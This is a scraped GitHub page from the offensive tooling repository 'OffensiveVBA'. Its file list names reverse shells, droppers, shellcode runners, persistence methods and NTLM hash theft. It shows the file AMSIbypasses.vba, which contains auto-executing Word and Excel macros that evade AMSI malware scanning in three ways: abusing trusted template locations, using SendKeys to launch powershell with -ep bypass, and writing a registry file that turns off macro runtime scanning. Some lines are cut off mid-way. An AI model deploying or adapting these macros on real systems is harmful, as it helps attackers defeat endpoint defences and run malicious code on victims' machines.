Product Solutions Resources Open Source Enterprise Pricing Sign in Sign up

S3cur3Th1sSh1t / **OffensiveVBA** Public

Sponsor Notifications Fork 222 Star 1.2k

Code Issues 1 Pull requests Actions Projects Security Insights

Files

28cc6a2

Go to file

- .github
- src
  - GadgetToJScript
  - SandBoxEvasion
  - VBA-RunPE
  - AES.vba
  - AMSIBypass_AmsiScanBuffer_Cl...
  - AMSIBypass_AmsiScanBuffer_or...
  - AMSIBypass_Heap.vba
  - AMSIBypass_Heap64.vba
  - AMSIbypasses.vba
  - AutoOpens.vba
  - BlockETW.vba
  - BlockETW_COMPLUS_ETWEnabl...
  - COMHijack_DLL_Load.vba
  - COM_Process_create.vba
  - Download_Autostart.vba
  - Download_Autostart_WinAPI.vba
  - Dropper_Autostart.vba
  - Dropper_Executable_Autostart.v...
  - Dropper_Workfolders_lolbas_Exe...
  - Evasion MsiInstallProduct.vba
  - Evasion_Dropper_Autostart.vba
  - MarauderDrop.vba
  - PPID_Spoof.vba
  - Parse-Outlook.vba
  - Registry_Persist_wmi.vba
  - Registry_Persist_wscript.vba
  - Reverse-Shell.vba
  - ScheduledTask_Create.vba
  - ShellApplication_ShellExecute.vba
  - ShellApplication_ShellExecute_pr...
  - ShellWindows_Process_create.vba
  - Shellcode_CreateThread.vba
  - Shellcode_EnumChildWindowsC...
  - StealNetNTLMv2.vba

OffensiveVBA / src / **AMSIbypasses.vba**

S3cur3Th1sSh1t and S3cur3Th1sSh1t Initial commit 2b6688d · 3 years ago History

Code Blame 68 lines (50 loc) · 2.92 KB Raw

```vba
'##################################################################################
' Code samples for AMSI bypass techniques
' relating to the blogpost on AMSI bypasses on https://outflank.nl/blog/
'##################################################################################



' ##################################################################################
' AMSI Bypass approach that abuses trusted locations (sample for Word)
' ##################################################################################

Sub autoopen()
    'function called by the initial 'dropper' code, drops a dotm into %appdata\microsof
    curfile = ActiveDocument.Path & "\" & ActiveDocument.Name
    templatefile = Environ("appdata") & "\Microsoft\Templates\" & DateDiff("s", #1/1/19

    ActiveDocument.SaveAs2 FileName:=templatefile, FileFormat:=wdFormatXMLTemplateMacro

    ' save back to orig location, otherwise AMSI will kcik in (as we are the template)
    ActiveDocument.SaveAs2 FileName:=curfile, FileFormat:=wdFormatXMLDocumentMacroEnabl

    ' now create a new file based on template
    Documents.Add Template:=templatefile, NewTemplate:=False, DocumentType:=0
End Sub

Sub autonew()
    ' this function is called from a trusted location, not in the AMSI logs
    Shell "calc.exe"
End Sub


' ##################################################################################
' AMSI Bypass approach that abuses Excel sendkeys to fireup the startmennu
' ##################################################################################

Private Sub Workbook_Open()
    On Error Resume Next
    Application.SendKeys "^{esc}"
    Application.Wait (Now() + TimeValue("00:00:01"))
    Application.SendKeys "powershell.exe -ep bypass read-host ""malicious"" ~"
End Sub

' ##################################################################################
' AMSI Bypass in Word that saves a reg and bat file to disable AMSI.
' Adjust macro to 'saveas' in a startup or so
' ##################################################################################

Sub document_open()
    filepath = ActiveDocument.Path & "\"


    ' set contents and save as reg file
    Documents.Add
    ActiveDocument.Range.Text = _
        "Windows Registry Editor Version 5.00" & vbNewLine & vbNewLine & _
         "[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\security]" & vbNewLi
         """MacroRuntimeScanScope""=dword:00000000" & vbNewLine & vbNewLine
```

- WMI_Process_Create.vba
- WMI_Process_Create2.vba
- Win32_CreateProcess.vba
- Win32_ShellExecute.vba
- WscriptShell_Exec.vba
- WscriptShell_run.vba

```
          MacroRuntimeScanScope""=dword:00000000" & vbNewLine & vbNewLine

    ActiveDocument.SaveAs2 FileName:=filepath & "generatedByWord.reg", LineEnding:=wdCR
    ActiveDocument.Close

    ' set contents and save as bat file
    Documents.Add
    ActiveDocument.Range.Text = "regedit.exe /S generatedByWord.reg"

    ActiveDocument.SaveAs2 FileName:=filepath & "generatedByWord.bat", FileFormat:=wdFo
    ActiveDocument.Close
End Sub
```